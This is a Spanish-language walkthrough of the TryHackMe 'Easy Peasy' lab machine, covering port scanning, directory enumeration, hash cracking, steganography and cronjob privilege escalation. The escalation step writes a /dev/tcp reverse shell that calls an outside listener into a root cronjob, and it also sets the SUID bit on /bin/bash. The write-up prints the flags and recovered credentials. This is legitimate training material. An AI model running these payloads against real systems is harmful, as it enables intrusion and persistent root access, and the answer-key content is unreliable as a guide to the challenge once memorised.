TryHackMe Easy Target IP: 10.128.175.66

Máquina Easy Peasy

Resolución paso a paso de la máquina Easy Peasy de TryHackMe, explorando servidores web alternativos, descifrando criptografía y escalando privilegios a través de tareas del sistema.

#Linux#Nginx#Apache#Esteganografía#Criptografía#Hashes#Cronjobs

Nota sobre el direccionamiento IP: Debido a la asignación dinámica de TryHackMe, la dirección IP del objetivo cambia de 10.128.175.66 a 10.128.135.171 durante las fases del laboratorio. Ambas corresponden al mismo host.

Fase 1: Reconocimiento (Escaneo de Puertos)

El primer paso es realizar un escaneo completo de puertos para mapear los servicios disponibles en la máquina objetivo.

Escaneo Completo de Nmap

Se ejecuta un escaneo completo de puertos TCP (-p-) determinando versiones (-sV) y scripts de reconocimiento básico (-A), con velocidad agresiva (-T4):

sudo nmap -sV -T4 -A -p- 10.128.175.66
Escaneo inicial de puertos de Nmap
Resultados del primer escaneo completo sobre el objetivo

Resultados Clave de Nmap

El escaneo inicial nos revela tres puertos abiertos:

  • Puerto 80 (HTTP): Servidor web nginx 1.16.1.
  • Puerto 6498 (SSH): Servicio OpenSSH 7.6p1 Ubuntu.
  • Puerto 65524 (HTTP): Servidor web Apache httpd 2.4.43.

Fase 2: Enumeración y Búsqueda de Flags

Al tener dos servidores web (puertos 80 y 65524), iniciamos una enumeración exhaustiva en ambos.

1. Servidor Apache (Puerto 65524)

Si accedemos al servidor Apache en http://10.128.175.66:65524/, se observa la página por defecto de Apache con un mensaje modificado: “It works! Vols dir?”.

Página por defecto Apache en puerto 65524
Visualización de la página por defecto de Apache

Enumeración de directorios (Gobuster)

Se realiza un escaneo de directorios sobre este puerto utilizando la lista común de dirb:

sudo gobuster dir -u http://10.128.175.66:65524 -w /usr/share/wordlists/dirb/common.txt
Gobuster en puerto 65524
Resultados del escaneo de Gobuster localizando robots.txt

El escaneo localiza un archivo robots.txt. Al visualizar su contenido en el navegador, encontramos información crucial:

Lectura de robots.txt
Contenido del archivo robots.txt

El archivo define una regla para un user-agent sospechoso:

User-Agent: a18672860d0510e5ab6699730763b250

Descifrando la Flag 2

El string a18672860d0510e5ab6699730763b250 es analizado con la herramienta Name-That-Hash (nth), que sugiere con un alto grado de probabilidad de que se trata de un hash MD5.

Name-That-Hash identificando MD5
Identificación del tipo de hash MD5 para la cadena encontrada

Ingresamos el hash en la plataforma de descifrado en línea hashes.com para descifrarlo.

Consulta del hash en hashes.com
Búsqueda del hash en la base de datos de hashes.com

El hash descifrado nos proporciona directamente la Flag 2:

Flag 2 descifrada
Descifrado exitoso del hash MD5 que revela la segunda flag
  • Flag 2: flag{1m_s3c0nd_fl4g}

Descubriendo la Flag 3 y Pista Base62

Al revisar el código fuente HTML de la misma página por defecto de Apache (http://10.128.135.171:65524/), localizamos dos elementos ocultos en etiquetas <p hidden> y comentarios:

  1. La Flag 3: flag{9fdafb64c47471a8f54cd3fc64cd312}
  2. Una pista codificada: its encoded with ba....:ObsJmP173N2X6d0rAgEAL0Vu
Código fuente de Apache con Flag 3
Código fuente HTML del puerto 65524 revelando la tercera flag
Código fuente con pista Base62
Línea de código oculta con la pista codificada en Base62
  • Flag 3: flag{9fdafb64c47471a8f54cd3fc64cd312}

2. Servidor Nginx (Puerto 80)

Si accedemos por el puerto 80, nos encontramos con la página estándar “Welcome to nginx!”.

Página de Nginx en puerto 80
Página de inicio por defecto de Nginx

Enumeración de directorios (Gobuster)

Realizamos un escaneo de directorios con Gobuster sobre el servidor Nginx:

Nota sobre el User-Agent en Gobuster: Aunque en la captura de pantalla de la terminal se observa el uso del parámetro -a con la flag 2 para especificar el User-Agent, en la práctica esto es redundante e innecesario; el servidor web Nginx responderá de la misma manera y revelará el directorio oculto ante cualquier petición HTTP ordinaria.

sudo gobuster dir -e -u http://10.128.135.171 -w /usr/share/wordlists/dirb/common.txt
Gobuster en puerto 80 con User-Agent
El escaneo sobre Nginx descubre el directorio /hidden

El escaneo localiza un directorio oculto en /hidden. Al acceder a él, se muestra una imagen de puertas blindadas:

Directorio /hidden en el navegador
Visualización de la ruta oculta /hidden/

Realizamos otro Gobuster dentro de /hidden/:

sudo gobuster dir -e -u http://10.128.135.171/hidden/ -w /usr/share/wordlists/dirb/common.txt
Gobuster dentro de /hidden/
Descubrimiento del subdirectorio /hidden/whatever/

Se localiza el subdirectorio /hidden/whatever/. Al ingresar, encontramos una página con el título “dead end” y una imagen de un paisaje montañoso:

Ruta /hidden/whatever/
Aspecto visual del directorio whatever

Obtención de la Flag 1

Nota sobre la cronología de las flags: A pesar de corresponder a la Flag 1 en el orden de las preguntas de TryHackMe, debido al flujo de nuestra intrusión —donde analizamos el puerto 65524 (Apache) antes de inspeccionar a fondo el puerto 80 (Nginx)— esta flag se acaba encontrando cronológicamente después de las flags 2 y 3.

Al inspeccionar el código fuente HTML de la página en /hidden/whatever/, descubrimos un párrafo oculto con una cadena en Base64:

<p hidden>ZmxhZ3tmXJzN19mbDRnfQ==</p>
Base64 oculto en el código fuente
Elemento oculto con cadena Base64 en el HTML

Decodificamos esta cadena de Base64 a texto plano para obtener la Flag 1:

Decodificación de Flag 1
Resultado de la conversión Base64 que revela la primera flag
  • Flag 1: flag{f1rs7_fl4g}

Fase 3: Explotación y Acceso Inicial

1. Decodificación de la Ruta Oculta (Base62)

Recuperamos la pista de texto que encontramos anteriormente en la sección oculta del código fuente de la página de Apache en el puerto 65524: ObsJmP173N2X6d0rAgEAL0Vu. La pista original venía acompañada del mensaje de guía its encoded with ba..... Si intentamos descodificarla utilizando un decodificador común como Base32 o Base64, obtendremos resultados erróneos o ilegibles debido a la ausencia de caracteres especiales y relleno (=).

Al procesar la firma alfanumérica, determinamos que está codificada en Base62. Cargamos la receta From Base62 en CyberChef utilizando el alfabeto por defecto (0-9A-Za-z) para descifrar el texto plano:

Decodificación Base62 en CyberChef
Decodificación de la cadena Base62 para revelar una ruta
  • Ruta decodificada: /n0th1ng3ls3m4tt3r

2. Extracción de Hash e Imagen

Accedemos a la nueva ruta en el servidor Apache (http://10.128.135.171:65524/n0th1ng3ls3m4tt3r/) y revisamos su código fuente. En él encontramos:

  1. Una imagen cargada llamada binarycodepixabay.jpg.
  2. Un hash oculto: 940d71e8655ac41efb5f8ab850668505b86dd64186a66e57d1483e7f5fe6fd81.
Código fuente de la ruta oculta
Código HTML expuesto en el directorio /n0th1ng3ls3m4tt3r/

3. Craqueo de Hash GOST

Identificamos el formato del hash misterioso utilizando hashid. El resultado sugiere múltiples firmas, destacando GOST R 34.11-94 (--format=gost en John).

Utilizamos John the Ripper con el diccionario específico de la máquina (easypeasy_1596838725703.txt) para romper el hash:

john hash.txt --wordlist=easypeasy_1596838725703.txt --format=gost
Craqueo del hash GOST con John
Descifrado del hash GOST para obtener la frase de paso de esteganografía
  • Contraseña obtenida: mypasswordforthatjob

4. Esteganografía con Steghide

Con la frase de paso mypasswordforthatjob, procedemos a extraer cualquier archivo embebido dentro de la imagen binarycodepixabay.jpg (guardada en formato .jpeg al extraer):

steghide extract -sf binarycodepixabay.jpeg

El proceso escribe el archivo secrettext.txt. Al visualizarlo, encontramos un usuario y una contraseña codificada en binario:

Extracción de datos con steghide
Extracción exitosa del fichero secrettext.txt
  • Usuario: boring
  • Contraseña en binario:
    01101001 01100011 01101111 01101110 01110110 01100101 01110010 01110100 01100101 01100100 01101101 01111001
    01110000 01100001 01110011 01110011 01110111 01101111 01110010 01100100 01110100 01101111 01100011 01101001
    01101110 01100001 01110010 01111001

5. Decodificación de Binario a Texto

Traducimos la secuencia binaria a texto plano utilizando un traductor binario:

Decodificación de binario a texto
Resultado de la traducción del string binario
  • Contraseña SSH descifrada: iconvertedmypasswordtobinary

Fase 4: Intrusión y Obtención de la Flag de Usuario

1. Acceso SSH

Realizamos una segunda verificación rápida de puertos antes del login para reconfirmar la IP (10.128.135.171):

sudo nmap -sV -T5 -p- 10.128.135.171
Segundo escaneo rápido de puertos
Confirmación de puertos abiertos en la nueva IP de la máquina

Iniciamos sesión vía SSH en el puerto alternativo 6498 con las credenciales de boring:

ssh boring@10.128.135.171 -p 6498
Sesión SSH con el usuario boring
Establecimiento de conexión SSH y lectura del archivo user.txt

Al leer user.txt, encontramos que la flag está cifrada:

synt{a0jvgf3zfa0ez4y}

2. Desencriptado ROT13 (Flag de Usuario)

Utilizamos el comando tr en Linux para rotar el abecedario 13 posiciones y obtener la flag en texto claro:

echo "synt{a0jvgf3zfa0ez4y}" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
Descifrado ROT13 de la flag de usuario
Obtención de la flag de usuario finalizada
  • Flag de Usuario: flag{n0wits33msn0rm4l}

Fase 5: Escalamiento de Privilegios

1. Identificación del Vector (Cronjob local)

Listamos todos los scripts Bash presentes en el sistema para detectar scripts personalizados o temporales que puedan estar corriendo en segundo plano:

find / -name "*.sh" 2>/dev/null
Búsqueda de scripts .sh en el sistema
Listado de scripts de shell donde destaca un cronjob en el directorio /var/www/

Destaca el archivo /var/www/.mysecretcronjob.sh. Al examinar sus propiedades, constatamos que es propiedad de nuestro usuario boring y, por tanto, tenemos permisos de escritura en él. Sin embargo, está configurado en el sistema para ser ejecutado periódicamente por el usuario root mediante un Cron Job.

2. Modificación del Script y Obtención de Root

Modificamos el script con nano o comandos locales para inyectar comandos maliciosos. Añadimos un payload de reverse shell y asignamos el bit SUID (+s) a /bin/bash para asegurar un método persistente de escalado local:

#!/bin/bash
sh -i >& /dev/tcp/192.168.149.112/9001 0>&1
chmod +s /bin/bash
# i will run as root
Inyección en .mysecretcronjob.sh
Modificación del script programado para inyectar la shell y habilitar el bit SUID

Pusimos nuestro Netcat local a la escucha en el puerto 9001:

nc -lvnp 9001

Tras un minuto, el cronjob se ejecuta automáticamente como root, enviándonos una consola privilegiada. Nos dirigimos al directorio /root y listamos el archivo .root.txt para obtener la flag de administrador:

Acceso root y lectura de flag final
Recepción de la shell reversa como root y lectura de .root.txt
  • Flag de Root: flag{63a9f0ea7bb98050796b649e85481845}

La máquina ha sido totalmente comprometida.


Fuentes y Referencias

  • CyberChef: Suite web utilizada para la decodificación de Base62 y procesamiento de datos.
  • hashes.com: Repositorio en línea para descifrado rápido de hashes MD5.
  • John the Ripper: Herramienta de auditoría de seguridad para craquear el hash GOST.
  • Name-That-Hash: Utilidad de terminal para pre-identificar algoritmos de hashing.